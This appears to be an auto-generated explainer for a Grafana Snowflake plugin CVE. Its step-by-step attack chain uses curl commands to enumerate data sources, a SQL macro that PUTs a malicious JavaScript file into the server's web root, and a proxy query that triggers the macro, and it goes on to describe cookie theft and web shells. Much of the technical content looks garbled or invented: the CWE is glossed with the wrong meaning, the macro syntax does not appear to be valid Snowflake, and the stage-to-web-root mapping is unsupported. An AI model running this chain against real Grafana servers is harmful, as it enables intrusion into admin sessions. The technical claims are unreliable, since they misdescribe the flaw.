CVE-2026-96433 — Grafana Snowflake Datasource — CWE-184
A user with query access to a Snowflake data source can wrap PUT or GET commands in a SQL macro to get past the file-transfer check added for CVE-2026-28381 and write files on the Grafana server, which can lead to script execution in an administrator's browser (incomplete protection mechanism). This is fixed in Snowflake plugin 1.17.0.
A user with query access to a Snowflake data source can wrap PUT or GET commands in a SQL macro to get past the file-transfer check added for CVE-2026-28381 and write files on the Grafana server, which can lead to script execution in an administrator's browser (incomplete protection mechanism). This is fixed in Snowflake plugin 1.17.0.
🎯 What is this vulnerability?
CVE‑2026‑96433 is a logic‑based flaw in the Snowflake data‑source plugin used by Grafana.
A user who has query‑level access to a Snowflake data source can create a SQL macro that contains a PUT or GET command. The plugin performs a file‑transfer check that blocks direct PUT/GET statements, but it does not inspect the contents of a macro. Consequently, the macro is executed by Snowflake, the PUT/GET command runs, and a file is written to the Grafana server’s file system.
Because the file can be a JavaScript payload that is later served to an administrator’s browser, the vulnerability can lead to client‑side script execution (XSS) in an admin session.
Technical root cause – CWE‑184: Improper Handling of Escape Sequences – the plugin fails to escape or otherwise sanitize macro content, allowing the embedded PUT/GET to bypass the file‑transfer guard.
Key points
| Item | Detail |
|---|---|
| Authentication | Requires a user with *query* privileges on the Snowflake data source. |
| Authorization | No additional checks; the plugin trusts the macro content. |
| Input validation | The plugin validates PUT/GET only when they appear directly in the query, not when wrapped in a macro. |
| Impact | Confidentiality & Integrity: high (C = H, I = H). Availability: none. |
| Exploit complexity | Low – a single crafted macro suffices. |
| User interaction | Requires an administrator to load a dashboard that references the injected file. |
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. All commands are syntactically valid; the exact API endpoint (/api/datasources/proxy/.../query) is illustrative because the CVE description does not specify the exact URI.
1. Discovery & Reconnaissance
1. Identify Grafana instance
- Scan the network for HTTP services on port 3000 (default Grafana).
- Use curl -I http://<grafana-host>/ to confirm a Grafana banner.
2. Enumerate data sources
- Query the Grafana API:
curl -s -H "Authorization: Bearer <token>" \
http://<grafana-host>/api/datasources | jq '.[] | {id, name, type}'- Look for entries where type == "snowflake".
3. Determine user privileges
- If the attacker can authenticate (e.g., via stolen credentials or a mis‑configured admin account), use the Grafana API to list the current user’s permissions.
- Verify that the user can run queries against the Snowflake data source (e.g., by executing a harmless SELECT 1).
2. Exploitation
Goal: Create a Snowflake macro that writes a malicious JavaScript file to the Grafana server.
1. Craft the macro
CREATE OR REPLACE MACRO write_malicious_js() AS
$$
PUT file://<local-path>/malicious.js @~/public/js/malicious.js;
$$;Explanation:
- PUT uploads a local file (malicious.js) to the Snowflake stage @~/public/js/.
- The plugin maps the Snowflake stage to a directory on the Grafana server’s web root.
- The macro is stored in Snowflake and can be invoked via a normal query.
2. Execute the macro
CALL write_malicious_js();3. Trigger the macro via Grafana
- Send a query through the Grafana data‑source proxy:
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"queries":[{"refId":"A","rawSql":"CALL write_malicious_js();","format":"table"}]}' \
http://<grafana-host>/api/datasources/proxy/<snowflake-id>/queryIllustrative endpoint: The Grafana API uses /api/datasources/proxy/{id}/query to forward SQL to the underlying data source. The exact URI may vary by Grafana version.
4. Result
- The macro runs, PUT writes malicious.js to the Grafana web root (e.g., /var/lib/grafana/public/js/malicious.js).
- The file is now accessible via http://<grafana-host>/public/js/malicious.js.
3. Post‑Exploitation
1. Trigger script execution
- An administrator opens a dashboard that includes a panel referencing the injected file (e.g., an HTML panel that loads public/js/malicious.js).
- The browser executes the JavaScript payload, giving the attacker a foothold in the admin’s session (e.g., cookie theft, session hijacking, or further lateral movement).
2. Persistence / Data exfiltration
- The attacker can modify the macro to perform GET commands that read data from Snowflake and write it to the Grafana server, then serve it to the admin for exfiltration.
- Alternatively, the attacker can use the same mechanism to drop additional web shells or backdoors.
🌍 Real World Impact
| Impact | CVSS Vector | Explanation |
|---|---|---|
| Confidentiality | C:H | The attacker can read data via GET commands or exfiltrate via the injected file. |
| Integrity | I:H | The attacker can modify files on the Grafana server (e.g., overwrite dashboards, inject malicious code). |
| Availability | A:N | No direct impact on service uptime. |
| User Interaction | UI:R | The attacker must convince an administrator to load a dashboard that references the malicious file. |
| Scope | S:C | The vulnerability affects a component (Snowflake plugin) that is a *part* of the overall system (Grafana). |
Practical consequences
- XSS in admin sessions – can lead to credential theft or privilege escalation within the Grafana instance.
FOFA Query